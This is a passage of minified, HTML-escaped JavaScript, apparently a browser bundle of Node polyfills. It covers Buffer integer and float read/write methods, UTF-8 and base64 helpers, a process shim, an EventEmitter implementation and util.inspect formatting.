r||Qo(t,2,this.length),this[t]&lt;&lt;8|this[t+1]};Dt.prototype.readUInt32LE=function(t,r){return r||Qo(t,4,this.length),(this[t]|this[t+1]&lt;&lt;8|this[t+2]&lt;&lt;16)+this[t+3]*16777216};Dt.prototype.readUInt32BE=function(t,r){return r||Qo(t,4,this.length),this[t]*16777216+(this[t+1]&lt;&lt;16|this[t+2]&lt;&lt;8|this[t+3])};Dt.prototype.readIntLE=function(t,r,n){t=t|0,r=r|0,n||Qo(t,r,this.length);for(var i=this[t],s=1,o=0;++o&lt;r&amp;&amp;(s*=256);)i+=this[t+o]*s;return s*=128,i&gt;=s&amp;&amp;(i-=Math.pow(2,8*r)),i};Dt.prototype.readIntBE=function(t,r,n){t=t|0,r=r|0,n||Qo(t,r,this.length);for(var i=r,s=1,o=this[t+--i];i&gt;0&amp;&amp;(s*=256);)o+=this[t+--i]*s;return s*=128,o&gt;=s&amp;&amp;(o-=Math.pow(2,8*r)),o};Dt.prototype.readInt8=function(t,r){return r||Qo(t,1,this.length),this[t]&amp;128?(255-this[t]+1)*-1:this[t]};Dt.prototype.readInt16LE=function(t,r){r||Qo(t,2,this.length);var n=this[t]|this[t+1]&lt;&lt;8;return n&amp;32768?n|4294901760:n};Dt.prototype.readInt16BE=function(t,r){r||Qo(t,2,this.length);var n=this[t+1]|this[t]&lt;&lt;8;return n&amp;32768?n|4294901760:n};Dt.prototype.readInt32LE=function(t,r){return r||Qo(t,4,this.length),this[t]|this[t+1]&lt;&lt;8|this[t+2]&lt;&lt;16|this[t+3]&lt;&lt;24};Dt.prototype.readInt32BE=function(t,r){return r||Qo(t,4,this.length),this[t]&lt;&lt;24|this[t+1]&lt;&lt;16|this[t+2]&lt;&lt;8|this[t+3]};Dt.prototype.readFloatLE=function(t,r){return r||Qo(t,4,this.length),rE(this,t,!0,23,4)};Dt.prototype.readFloatBE=function(t,r){return r||Qo(t,4,this.length),rE(this,t,!1,23,4)};Dt.prototype.readDoubleLE=function(t,r){return r||Qo(t,8,this.length),rE(this,t,!0,52,8)};Dt.prototype.readDoubleBE=function(t,r){return r||Qo(t,8,this.length),rE(this,t,!1,52,8)};function kc(e,t,r,n,i,s){if(!Zd(e))throw new TypeError(&#039;&quot;buffer&quot; argument must be a Buffer instance&#039;);if(t&gt;i||t&lt;s)throw new RangeError(&#039;&quot;value&quot; argument is out of bounds&#039;);if(r+n&gt;e.length)throw new RangeError(&quot;Index out of range&quot;)}Dt.prototype.writeUIntLE=function(t,r,n,i){if(t=+t,r=r|0,n=n|0,!i){var s=Math.pow(2,8*n)-1;kc(this,t,r,n,s,0)}var o=1,l=0;for(this[r]=t&amp;255;++l&lt;n&amp;&amp;(o*=256);)this[r+l]=t/o&amp;255;return r+n};Dt.prototype.writeUIntBE=function(t,r,n,i){if(t=+t,r=r|0,n=n|0,!i){var s=Math.pow(2,8*n)-1;kc(this,t,r,n,s,0)}var o=n-1,l=1;for(this[r+o]=t&amp;255;--o&gt;=0&amp;&amp;(l*=256);)this[r+o]=t/l&amp;255;return r+n};Dt.prototype.writeUInt8=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,1,255,0),Dt.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),this[r]=t&amp;255,r+1};function nE(e,t,r,n){t&lt;0&amp;&amp;(t=65535+t+1);for(var i=0,s=Math.min(e.length-r,2);i&lt;s;++i)e[r+i]=(t&amp;255&lt;&lt;8*(n?i:1-i))&gt;&gt;&gt;(n?i:1-i)*8}Dt.prototype.writeUInt16LE=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,2,65535,0),Dt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8):nE(this,t,r,!0),r+2};Dt.prototype.writeUInt16BE=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,2,65535,0),Dt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;8,this[r+1]=t&amp;255):nE(this,t,r,!1),r+2};function iE(e,t,r,n){t&lt;0&amp;&amp;(t=4294967295+t+1);for(var i=0,s=Math.min(e.length-r,4);i&lt;s;++i)e[r+i]=t&gt;&gt;&gt;(n?i:3-i)*8&amp;255}Dt.prototype.writeUInt32LE=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,4,4294967295,0),Dt.TYPED_ARRAY_SUPPORT?(this[r+3]=t&gt;&gt;&gt;24,this[r+2]=t&gt;&gt;&gt;16,this[r+1]=t&gt;&gt;&gt;8,this[r]=t&amp;255):iE(this,t,r,!0),r+4};Dt.prototype.writeUInt32BE=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,4,4294967295,0),Dt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;24,this[r+1]=t&gt;&gt;&gt;16,this[r+2]=t&gt;&gt;&gt;8,this[r+3]=t&amp;255):iE(this,t,r,!1),r+4};Dt.prototype.writeIntLE=function(t,r,n,i){if(t=+t,r=r|0,!i){var s=Math.pow(2,8*n-1);kc(this,t,r,n,s-1,-s)}var o=0,l=1,c=0;for(this[r]=t&amp;255;++o&lt;n&amp;&amp;(l*=256);)t&lt;0&amp;&amp;c===0&amp;&amp;this[r+o-1]!==0&amp;&amp;(c=1),this[r+o]=(t/l&gt;&gt;0)-c&amp;255;return r+n};Dt.prototype.writeIntBE=function(t,r,n,i){if(t=+t,r=r|0,!i){var s=Math.pow(2,8*n-1);kc(this,t,r,n,s-1,-s)}var o=n-1,l=1,c=0;for(this[r+o]=t&amp;255;--o&gt;=0&amp;&amp;(l*=256);)t&lt;0&amp;&amp;c===0&amp;&amp;this[r+o+1]!==0&amp;&amp;(c=1),this[r+o]=(t/l&gt;&gt;0)-c&amp;255;return r+n};Dt.prototype.writeInt8=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,1,127,-128),Dt.TYPED_ARRAY_SUPPORT||(t=Math.floor(t)),t&lt;0&amp;&amp;(t=255+t+1),this[r]=t&amp;255,r+1};Dt.prototype.writeInt16LE=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,2,32767,-32768),Dt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8):nE(this,t,r,!0),r+2};Dt.prototype.writeInt16BE=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,2,32767,-32768),Dt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;8,this[r+1]=t&amp;255):nE(this,t,r,!1),r+2};Dt.prototype.writeInt32LE=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,4,2147483647,-2147483648),Dt.TYPED_ARRAY_SUPPORT?(this[r]=t&amp;255,this[r+1]=t&gt;&gt;&gt;8,this[r+2]=t&gt;&gt;&gt;16,this[r+3]=t&gt;&gt;&gt;24):iE(this,t,r,!0),r+4};Dt.prototype.writeInt32BE=function(t,r,n){return t=+t,r=r|0,n||kc(this,t,r,4,2147483647,-2147483648),t&lt;0&amp;&amp;(t=4294967295+t+1),Dt.TYPED_ARRAY_SUPPORT?(this[r]=t&gt;&gt;&gt;24,this[r+1]=t&gt;&gt;&gt;16,this[r+2]=t&gt;&gt;&gt;8,this[r+3]=t&amp;255):iE(this,t,r,!1),r+4};function jq(e,t,r,n,i,s){if(r+n&gt;e.length)throw new RangeError(&quot;Index out of range&quot;);if(r&lt;0)throw new RangeError(&quot;Index out of range&quot;)}function Nq(e,t,r,n,i){return i||jq(e,t,r,4),Aq(e,t,r,n,23,4),r+4}Dt.prototype.writeFloatLE=function(t,r,n){return Nq(this,t,r,!0,n)};Dt.prototype.writeFloatBE=function(t,r,n){return Nq(this,t,r,!1,n)};function Sq(e,t,r,n,i){return i||jq(e,t,r,8),Aq(e,t,r,n,52,8),r+8}Dt.prototype.writeDoubleLE=function(t,r,n){return Sq(this,t,r,!0,n)};Dt.prototype.writeDoubleBE=function(t,r,n){return Sq(this,t,r,!1,n)};Dt.prototype.copy=function(t,r,n,i){if(n||(n=0),!i&amp;&amp;i!==0&amp;&amp;(i=this.length),r&gt;=t.length&amp;&amp;(r=t.length),r||(r=0),i&gt;0&amp;&amp;i&lt;n&amp;&amp;(i=n),i===n||t.length===0||this.length===0)return 0;if(r&lt;0)throw new RangeError(&quot;targetStart out of bounds&quot;);if(n&lt;0||n&gt;=this.length)throw new RangeError(&quot;sourceStart out of bounds&quot;);if(i&lt;0)throw new RangeError(&quot;sourceEnd out of bounds&quot;);i&gt;this.length&amp;&amp;(i=this.length),t.length-r&lt;i-n&amp;&amp;(i=t.length-r+n);var s=i-n,o;if(this===t&amp;&amp;n&lt;r&amp;&amp;r&lt;i)for(o=s-1;o&gt;=0;--o)t[o+r]=this[o+n];else if(s&lt;1e3||!Dt.TYPED_ARRAY_SUPPORT)for(o=0;o&lt;s;++o)t[o+r]=this[o+n];else Uint8Array.prototype.set.call(t,this.subarray(n,n+s),r);return s};Dt.prototype.fill=function(t,r,n,i){if(typeof t==&quot;string&quot;){if(typeof r==&quot;string&quot;?(i=r,r=0,n=this.length):typeof n==&quot;string&quot;&amp;&amp;(i=n,n=this.length),t.length===1){var s=t.charCodeAt(0);s&lt;256&amp;&amp;(t=s)}if(i!==void 0&amp;&amp;typeof i!=&quot;string&quot;)throw new TypeError(&quot;encoding must be a string&quot;);if(typeof i==&quot;string&quot;&amp;&amp;!Dt.isEncoding(i))throw new TypeError(&quot;Unknown encoding: &quot;+i)}else typeof t==&quot;number&quot;&amp;&amp;(t=t&amp;255);if(r&lt;0||this.length&lt;r||this.length&lt;n)throw new RangeError(&quot;Out of range index&quot;);if(n&lt;=r)return this;r=r&gt;&gt;&gt;0,n=n===void 0?this.length:n&gt;&gt;&gt;0,t||(t=0);var o;if(typeof t==&quot;number&quot;)for(o=r;o&lt;n;++o)this[o]=t;else{var l=Zd(t)?t:_w(new Dt(t,i).toString()),c=l.length;for(o=0;o&lt;n-r;++o)this[o+r]=l[o%c]}return this};var j5e=/[^+\/0-9A-Za-z-_]/g;function N5e(e){if(e=S5e(e).replace(j5e,&quot;&quot;),e.length&lt;2)return&quot;&quot;;for(;e.length%4!==0;)e=e+&quot;=&quot;;return e}function S5e(e){return e.trim?e.trim():e.replace(/^\s+|\s+$/g,&quot;&quot;)}function B5e(e){return e&lt;16?&quot;0&quot;+e.toString(16):e.toString(16)}function _w(e,t){t=t||1/0;for(var r,n=e.length,i=null,s=[],o=0;o&lt;n;++o){if(r=e.charCodeAt(o),r&gt;55295&amp;&amp;r&lt;57344){if(!i){if(r&gt;56319){(t-=3)&gt;-1&amp;&amp;s.push(239,191,189);continue}else if(o+1===n){(t-=3)&gt;-1&amp;&amp;s.push(239,191,189);continue}i=r;continue}if(r&lt;56320){(t-=3)&gt;-1&amp;&amp;s.push(239,191,189),i=r;continue}r=(i-55296&lt;&lt;10|r-56320)+65536}else i&amp;&amp;(t-=3)&gt;-1&amp;&amp;s.push(239,191,189);if(i=null,r&lt;128){if((t-=1)&lt;0)break;s.push(r)}else if(r&lt;2048){if((t-=2)&lt;0)break;s.push(r&gt;&gt;6|192,r&amp;63|128)}else if(r&lt;65536){if((t-=3)&lt;0)break;s.push(r&gt;&gt;12|224,r&gt;&gt;6&amp;63|128,r&amp;63|128)}else if(r&lt;1114112){if((t-=4)&lt;0)break;s.push(r&gt;&gt;18|240,r&gt;&gt;12&amp;63|128,r&gt;&gt;6&amp;63|128,r&amp;63|128)}else throw new Error(&quot;Invalid code point&quot;)}return s}function k5e(e){for(var t=[],r=0;r&lt;e.length;++r)t.push(e.charCodeAt(r)&amp;255);return t}function _5e(e,t){for(var r,n,i,s=[],o=0;o&lt;e.length&amp;&amp;!((t-=2)&lt;0);++o)r=e.charCodeAt(o),n=r&gt;&gt;8,i=r%256,s.push(i),s.push(n);return s}function Bq(e){return i5e(N5e(e))}function aE(e,t,r,n){for(var i=0;i&lt;n&amp;&amp;!(i+r&gt;=t.length||i&gt;=e.length);++i)t[i+r]=e[i];return i}function D5e(e){return e!==e}function Yp(e){return e!=null&amp;&amp;(!!e._isBuffer||kq(e)||T5e(e))}function kq(e){return!!e.constructor&amp;&amp;typeof e.constructor.isBuffer==&quot;function&quot;&amp;&amp;e.constructor.isBuffer(e)}function T5e(e){return typeof e.readFloatLE==&quot;function&quot;&amp;&amp;typeof e.slice==&quot;function&quot;&amp;&amp;kq(e.slice(0,0))}var R5e=Object.freeze({__proto__:null,Buffer:Dt,INSPECT_MAX_BYTES:vq,SlowBuffer:h5e,isBuffer:Yp,kMaxLength:l5e});function _q(){throw new Error(&quot;setTimeout has not been defined&quot;)}function Dq(){throw new Error(&quot;clearTimeout has not been defined&quot;)}var rm=_q,nm=Dq;typeof yg.setTimeout==&quot;function&quot;&amp;&amp;(rm=setTimeout);typeof yg.clearTimeout==&quot;function&quot;&amp;&amp;(nm=clearTimeout);function Tq(e){if(rm===setTimeout)return setTimeout(e,0);if((rm===_q||!rm)&amp;&amp;setTimeout)return rm=setTimeout,setTimeout(e,0);try{return rm(e,0)}catch{try{return rm.call(null,e,0)}catch{return rm.call(this,e,0)}}}function P5e(e){if(nm===clearTimeout)return clearTimeout(e);if((nm===Dq||!nm)&amp;&amp;clearTimeout)return nm=clearTimeout,clearTimeout(e);try{return nm(e)}catch{try{return nm.call(null,e)}catch{return nm.call(this,e)}}}var $f=[],YA=!1,Zp,a5=-1;function Q5e(){!YA||!Zp||(YA=!1,Zp.length?$f=Zp.concat($f):a5=-1,$f.length&amp;&amp;Rq())}function Rq(){if(!YA){var e=Tq(Q5e);YA=!0;for(var t=$f.length;t;){for(Zp=$f,$f=[];++a5&lt;t;)Zp&amp;&amp;Zp[a5].run();a5=-1,t=$f.length}Zp=null,YA=!1,P5e(e)}}function mu(e){var t=new Array(arguments.length-1);if(arguments.length&gt;1)for(var r=1;r&lt;arguments.length;r++)t[r-1]=arguments[r];$f.push(new Pq(e,t)),$f.length===1&amp;&amp;!YA&amp;&amp;Tq(Rq)}function Pq(e,t){this.fun=e,this.array=t}Pq.prototype.run=function(){this.fun.apply(null,this.array)};var F5e=&quot;browser&quot;,O5e=&quot;browser&quot;,L5e=!0,M5e={},U5e=[],z5e=&quot;&quot;,$5e={},H5e={},q5e={};function Og(){}var G5e=Og,V5e=Og,W5e=Og,K5e=Og,Y5e=Og,Z5e=Og,J5e=Og;function X5e(e){throw new Error(&quot;process.binding is not supported&quot;)}function ewe(){return&quot;/&quot;}function twe(e){throw new Error(&quot;process.chdir is not supported&quot;)}function rwe(){return 0}var PA=yg.performance||{},nwe=PA.now||PA.mozNow||PA.msNow||PA.oNow||PA.webkitNow||function(){return new Date().getTime()};function iwe(e){var t=nwe.call(PA)*.001,r=Math.floor(t),n=Math.floor(t%1*1e9);return e&amp;&amp;(r=r-e[0],n=n-e[1],n&lt;0&amp;&amp;(r--,n+=1e9)),[r,n]}var awe=new Date;function swe(){var e=new Date,t=e-awe;return t/1e3}var R0={nextTick:mu,title:F5e,browser:L5e,env:M5e,argv:U5e,version:z5e,versions:$5e,on:G5e,addListener:V5e,once:W5e,off:K5e,removeListener:Y5e,removeAllListeners:Z5e,emit:J5e,binding:X5e,cwd:ewe,chdir:twe,umask:rwe,hrtime:iwe,platform:O5e,release:H5e,config:q5e,uptime:swe};function owe(e){return e&amp;&amp;e.__esModule&amp;&amp;Object.prototype.hasOwnProperty.call(e,&quot;default&quot;)?e.default:e}function sE(e){if(e.__esModule)return e;var t=e.default;if(typeof t==&quot;function&quot;){var r=function n(){return this instanceof n?Reflect.construct(t,arguments,this.constructor):t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,&quot;__esModule&quot;,{value:!0}),Object.keys(e).forEach(function(n){var i=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(r,n,i.get?i:{enumerable:!0,get:function(){return e[n]}})}),r}var Qq={},S9=sE(R5e),lwe;function wm(){}wm.prototype=Object.create(null);function pi(){pi.init.call(this)}pi.EventEmitter=pi;pi.usingDomains=!1;pi.prototype.domain=void 0;pi.prototype._events=void 0;pi.prototype._maxListeners=void 0;pi.defaultMaxListeners=10;pi.init=function(){this.domain=null,pi.usingDomains&amp;&amp;lwe.active,(!this._events||this._events===Object.getPrototypeOf(this)._events)&amp;&amp;(this._events=new wm,this._eventsCount=0),this._maxListeners=this._maxListeners||void 0};pi.prototype.setMaxListeners=function(t){if(typeof t!=&quot;number&quot;||t&lt;0||isNaN(t))throw new TypeError(&#039;&quot;n&quot; argument must be a positive number&#039;);return this._maxListeners=t,this};function Fq(e){return e._maxListeners===void 0?pi.defaultMaxListeners:e._maxListeners}pi.prototype.getMaxListeners=function(){return Fq(this)};function cwe(e,t,r){if(t)e.call(r);else for(var n=e.length,i=Ny(e,n),s=0;s&lt;n;++s)i[s].call(r)}function uwe(e,t,r,n){if(t)e.call(r,n);else for(var i=e.length,s=Ny(e,i),o=0;o&lt;i;++o)s[o].call(r,n)}function dwe(e,t,r,n,i){if(t)e.call(r,n,i);else for(var s=e.length,o=Ny(e,s),l=0;l&lt;s;++l)o[l].call(r,n,i)}function fwe(e,t,r,n,i,s){if(t)e.call(r,n,i,s);else for(var o=e.length,l=Ny(e,o),c=0;c&lt;o;++c)l[c].call(r,n,i,s)}function hwe(e,t,r,n){if(t)e.apply(r,n);else for(var i=e.length,s=Ny(e,i),o=0;o&lt;i;++o)s[o].apply(r,n)}pi.prototype.emit=function(t){var r,n,i,s,o,l,c,d=t===&quot;error&quot;;if(l=this._events,l)d=d&amp;&amp;l.error==null;else if(!d)return!1;if(c=this.domain,d){if(r=arguments[1],c)r||(r=new Error(&#039;Uncaught, unspecified &quot;error&quot; event&#039;)),r.domainEmitter=this,r.domain=c,r.domainThrown=!1,c.emit(&quot;error&quot;,r);else{if(r instanceof Error)throw r;var u=new Error(&#039;Uncaught, unspecified &quot;error&quot; event. (&#039;+r+&quot;)&quot;);throw u.context=r,u}return!1}if(n=l[t],!n)return!1;var h=typeof n==&quot;function&quot;;switch(i=arguments.length,i){case 1:cwe(n,h,this);break;case 2:uwe(n,h,this,arguments[1]);break;case 3:dwe(n,h,this,arguments[1],arguments[2]);break;case 4:fwe(n,h,this,arguments[1],arguments[2],arguments[3]);break;default:for(s=new Array(i-1),o=1;o&lt;i;o++)s[o-1]=arguments[o];hwe(n,h,this,s)}return!0};function Oq(e,t,r,n){var i,s,o;if(typeof r!=&quot;function&quot;)throw new TypeError(&#039;&quot;listener&quot; argument must be a function&#039;);if(s=e._events,s?(s.newListener&amp;&amp;(e.emit(&quot;newListener&quot;,t,r.listener?r.listener:r),s=e._events),o=s[t]):(s=e._events=new wm,e._eventsCount=0),!o)o=s[t]=r,++e._eventsCount;else if(typeof o==&quot;function&quot;?o=s[t]=n?[r,o]:[o,r]:n?o.unshift(r):o.push(r),!o.warned&amp;&amp;(i=Fq(e),i&amp;&amp;i&gt;0&amp;&amp;o.length&gt;i)){o.warned=!0;var l=new Error(&quot;Possible EventEmitter memory leak detected. &quot;+o.length+&quot; &quot;+t+&quot; listeners added. Use emitter.setMaxListeners() to increase limit&quot;);l.name=&quot;MaxListenersExceededWarning&quot;,l.emitter=e,l.type=t,l.count=o.length,mwe(l)}return e}function mwe(e){typeof console.warn==&quot;function&quot;?console.warn(e):console.log(e)}pi.prototype.addListener=function(t,r){return Oq(this,t,r,!1)};pi.prototype.on=pi.prototype.addListener;pi.prototype.prependListener=function(t,r){return Oq(this,t,r,!0)};function Lq(e,t,r){var n=!1;function i(){e.removeListener(t,i),n||(n=!0,r.apply(e,arguments))}return i.listener=r,i}pi.prototype.once=function(t,r){if(typeof r!=&quot;function&quot;)throw new TypeError(&#039;&quot;listener&quot; argument must be a function&#039;);return this.on(t,Lq(this,t,r)),this};pi.prototype.prependOnceListener=function(t,r){if(typeof r!=&quot;function&quot;)throw new TypeError(&#039;&quot;listener&quot; argument must be a function&#039;);return this.prependListener(t,Lq(this,t,r)),this};pi.prototype.removeListener=function(t,r){var n,i,s,o,l;if(typeof r!=&quot;function&quot;)throw new TypeError(&#039;&quot;listener&quot; argument must be a function&#039;);if(i=this._events,!i)return this;if(n=i[t],!n)return this;if(n===r||n.listener&amp;&amp;n.listener===r)--this._eventsCount===0?this._events=new wm:(delete i[t],i.removeListener&amp;&amp;this.emit(&quot;removeListener&quot;,t,n.listener||r));else if(typeof n!=&quot;function&quot;){for(s=-1,o=n.length;o-- &gt;0;)if(n[o]===r||n[o].listener&amp;&amp;n[o].listener===r){l=n[o].listener,s=o;break}if(s&lt;0)return this;if(n.length===1){if(n[0]=void 0,--this._eventsCount===0)return this._events=new wm,this;delete i[t]}else pwe(n,s);i.removeListener&amp;&amp;this.emit(&quot;removeListener&quot;,t,l||r)}return this};pi.prototype.off=function(e,t){return this.removeListener(e,t)};pi.prototype.removeAllListeners=function(t){var r,n;if(n=this._events,!n)return this;if(!n.removeListener)return arguments.length===0?(this._events=new wm,this._eventsCount=0):n[t]&amp;&amp;(--this._eventsCount===0?this._events=new wm:delete n[t]),this;if(arguments.length===0){for(var i=Object.keys(n),s=0,o;s&lt;i.length;++s)o=i[s],o!==&quot;removeListener&quot;&amp;&amp;this.removeAllListeners(o);return this.removeAllListeners(&quot;removeListener&quot;),this._events=new wm,this._eventsCount=0,this}if(r=n[t],typeof r==&quot;function&quot;)this.removeListener(t,r);else if(r)do this.removeListener(t,r[r.length-1]);while(r[0]);return this};pi.prototype.listeners=function(t){var r,n,i=this._events;return i?(r=i[t],r?typeof r==&quot;function&quot;?n=[r.listener||r]:n=gwe(r):n=[]):n=[],n};pi.listenerCount=function(e,t){return typeof e.listenerCount==&quot;function&quot;?e.listenerCount(t):Mq.call(e,t)};pi.prototype.listenerCount=Mq;function Mq(e){var t=this._events;if(t){var r=t[e];if(typeof r==&quot;function&quot;)return 1;if(r)return r.length}return 0}pi.prototype.eventNames=function(){return this._eventsCount&gt;0?Reflect.ownKeys(this._events):[]};function pwe(e,t){for(var r=t,n=r+1,i=e.length;n&lt;i;r+=1,n+=1)e[r]=e[n];e.pop()}function Ny(e,t){for(var r=new Array(t);t--;)r[t]=e[t];return r}function gwe(e){for(var t=new Array(e.length),r=0;r&lt;t.length;++r)t[r]=e[r].listener||e[r];return t}var QN;typeof Object.create==&quot;function&quot;?QN=function(t,r){t.super_=r,t.prototype=Object.create(r.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}})}:QN=function(t,r){t.super_=r;var n=function(){};n.prototype=r.prototype,t.prototype=new n,t.prototype.constructor=t};var ch=QN,Uq=Object.getOwnPropertyDescriptors||function(t){for(var r=Object.keys(t),n={},i=0;i&lt;r.length;i++)n[r[i]]=Object.getOwnPropertyDescriptor(t,r[i]);return n},Awe=/%[sdj%]/g;function oE(e){if(!By(e)){for(var t=[],r=0;r&lt;arguments.length;r++)t.push(O0(arguments[r]));return t.join(&quot; &quot;)}for(var r=1,n=arguments,i=n.length,s=String(e).replace(Awe,function(l){if(l===&quot;%%&quot;)return&quot;%&quot;;if(r&gt;=i)return l;switch(l){case&quot;%s&quot;:return String(n[r++]);case&quot;%d&quot;:return Number(n[r++]);case&quot;%j&quot;:try{return JSON.stringify(n[r++])}catch{return&quot;[Circular]&quot;}default:return l}}),o=n[r];r&lt;i;o=n[++r])Sy(o)||!Lg(o)?s+=&quot; &quot;+o:s+=&quot; &quot;+O0(o);return s}function lE(e,t){if(Ld(yg.process))return function(){return lE(e,t).apply(this,arguments)};if(R0.noDeprecation===!0)return e;var r=!1;function n(){if(!r){if(R0.throwDeprecation)throw new Error(t);R0.traceDeprecation?console.trace(t):console.error(t),r=!0}return e.apply(this,arguments)}return n}var mb={},gj;function hB(e){if(Ld(gj)&amp;&amp;(gj=R0.env.NODE_DEBUG||&quot;&quot;),e=e.toUpperCase(),!mb[e])if(new RegExp(&quot;\\b&quot;+e+&quot;\\b&quot;,&quot;i&quot;).test(gj)){var t=0;mb[e]=function(){var r=oE.apply(null,arguments);console.error(&quot;%s %d: %s&quot;,e,t,r)}}else mb[e]=function(){};return mb[e]}function O0(e,t){var r={seen:[],stylize:vwe};return arguments.length&gt;=3&amp;&amp;(r.depth=arguments[2]),arguments.length&gt;=4&amp;&amp;(r.colors=arguments[3]),cE(t)?r.showHidden=t:t&amp;&amp;AB(r,t),Ld(r.showHidden)&amp;&amp;(r.showHidden=!1),Ld(r.depth)&amp;&amp;(r.depth=2),Ld(r.colors)&amp;&amp;(r.colors=!1),Ld(r.customInspect)&amp;&amp;(r.customInspect=!0),r.colors&amp;&amp;(r.stylize=xwe),Dw(r,e,r.depth)}O0.colors={bold:[1,22],italic:[3,23],underline:[4,24],inverse:[7,27],white:[37,39],grey:[90,39],black:[30,39],blue:[34,39],cyan:[36,39],green:[32,39],magenta:[35,39],red:[31,39],yellow:[33,39]};O0.styles={special:&quot;cyan&quot;,number:&quot;yellow&quot;,boolean:&quot;yellow&quot;,undefined:&quot;grey&quot;,null:&quot;bold&quot;,string:&quot;green&quot;,date:&quot;magenta&quot;,regexp:&quot;red&quot;};function xwe(e,t){var r=O0.styles[t];return r?&quot;\x1B[&quot;+O0.colors[r][0]+&quot;m&quot;+e+&quot;\x1B[&quot;+O0.colors[r][1]+&quot;m&quot;:e}function vwe(e,t){return e}function ywe(e){var t={};return e.forEach(function(r,n){t[r]=!0}),t}function Dw(e,t,r){if(e.customInspect&amp;&amp;t&amp;&amp;lg(t.inspect)&amp;&amp;t.inspect!==O0&amp;&amp;!(t.constructor&amp;&amp;t.constructor.prototype===t)){var n=t.inspect(r,e);return By(n)||(n=Dw(e,n,r)),n}var i=bwe(e,t);if(i)return i;var s=Object.keys(t),o=ywe(s);if(e.showHidden&amp;&amp;(s=Object.getOwnPropertyNames(t)),ZA(t)&amp;&amp;(s.indexOf(&quot;message&quot;)&gt;=0||s.indexOf(&quot;description&quot;)&gt;=0))return Aj(t);if(s.length===0){if(lg(t)){var l=t.name?&quot;: &quot;+t.name:&quot;&quot;;return e.stylize(&quot;[Function&quot;+l+&quot;]&quot;,&quot;special&quot;)}if(og(t))return e.stylize(RegExp.prototype.toString.call(t),&quot;regexp&quot;);if(x1(t))return e.stylize(Date.prototype.toString.call(t),&quot;date&quot;);if(ZA(t))return Aj(t)}var c=&quot;&quot;,d=!1,u=[&quot;{&quot;,&quot;}&quot;];if(mB(t)&amp;&amp;(d=!0,u=[&quot;[&quot;,&quot;]&quot;]),lg(t)){var h=t.name?&quot;: &quot;+t.name:&quot;&quot;;c=&quot; [Function&quot;+h+&quot;]&quot;}if(og(t)&amp;&amp;(c=&quot; &quot;+RegExp.prototype.toString.call(t)),x1(t)&amp;&amp;(c=&quot; &quot;+Date.prototype.toUTCString.call(t)),ZA(t)&amp;&amp;(c=&quot; &quot;+Aj(t)),s.length===0&amp;&amp;(!d||t.length==0))return u[0]+c+u[1];if(r&lt;0)return og(t)?e.stylize(RegExp.prototype.toString.call(t),&quot;regexp&quot;):e.stylize(&quot;[Object]&quot;,&quot;special&quot;);e.seen.push(t);var p;return d?p=wwe(e,t,r,o,s):p=s.map(function(A){return FN(e,t,r,o,A,d)}),e.seen.pop(),Ewe(p,c,u)}function bwe(e,t){if(Ld(t))return e.stylize(&quot;undefined&quot;,&quot;undefined&quot;);if(By(t)){var r=&quot;&#039;&quot;+JSON.stringify(t).replace(/^&quot;|&quot;$/g,&quot;&quot;).replace(/&#039;/g,&quot;\\&#039;&quot;).replace(/\\&quot;/g,&#039;&quot;&#039;)+&quot;&#039;&quot;;return e.stylize(r,&quot;string&quot;)}if(pB(t))return e.stylize(&quot;&quot;+t,&quot;number&quot;);if(cE(t))return e.stylize(&quot;&quot;+t,&quot;boolean&quot;);if(Sy(t))return e.stylize(&quot;null&quot;,&quot;null&quot;)}function Aj(e){return&quot;[&quot;+Error.prototype.toString.call(e)+&quot;]&quot;}function wwe(e,t,r,n,i){for(var s=[],o=0,l=t.length;o&lt;l;++o)Gq(t,String(o))?s.push(FN(e,t,r,n,String(o),!0)):s.push(&quot;&quot;);return i.forEach(function(c){c.match(/^\d+$/)||s.push(FN(e,t,r,n,c,!0))}),s}function FN(e,t,r,n,i,s){var o,l,c;if(c=Object.getOwnPropertyDescriptor(t,i)||{value:t[i]},c.get?c.set?l=e.stylize(&quot;[Getter/Setter]&quot;,&quot;special&quot;):l=e.stylize(&quot;[Getter]&quot;,&quot;special&quot;):c.set&amp;&amp;(l=e.stylize(&quot;[Setter]&quot;,&quot;special&quot;)),Gq(n,i)||(o=&quot;[&quot;+i+&quot;]&quot;),l||(e.seen.indexOf(c.value)&lt;0?(Sy(r)?l=Dw(e,c.value,null):l=Dw(e,c.value,r-1),l.indexOf(`
`)&gt;-1&amp;&amp;(s?l=l.split(`
`).map(function(d){return&quot;  &quot;+d}).join(`
`).substr(2):l=`
`+l.split(`
`).map(function(d){return&quot;   &quot;+d}).join(`
`))):l=e.stylize(&quot;[Circular]&quot;,&quot;special&quot;)),Ld(o)){if(s&amp;&amp;i.match(/^\d+$/))return l;o=JSON.stringify(&quot;&quot;+i),o.match(/^&quot;([a-zA-Z_][a-zA-Z_0-9]*)&quot;$/)?(o=o.substr(1,o.length-2),o=e.stylize(o,&quot;name&quot;)):(o=o.replace(/&#039;/g,&quot;\\&#039;&quot;).replace(/\\&quot;/g,&#039;&quot;&#039;).replace(/(^&quot;|&quot;$)/g,&quot;&#039;&quot;),o=e.stylize(o,&quot;string&quot;))}return o+&quot;: &quot;+l}function Ewe(e,t,r){var n=e.reduce(function(i,s){return s.indexOf(`
`)&gt;=0,i+s.replace(/\u001b\[\d\d?m/g,&quot;&quot;).length+1},0);return n&gt;60?r[0]+(t===&quot;&quot;?&quot;&quot;:t+`
 `)+&quot; &quot;+e.join(`,
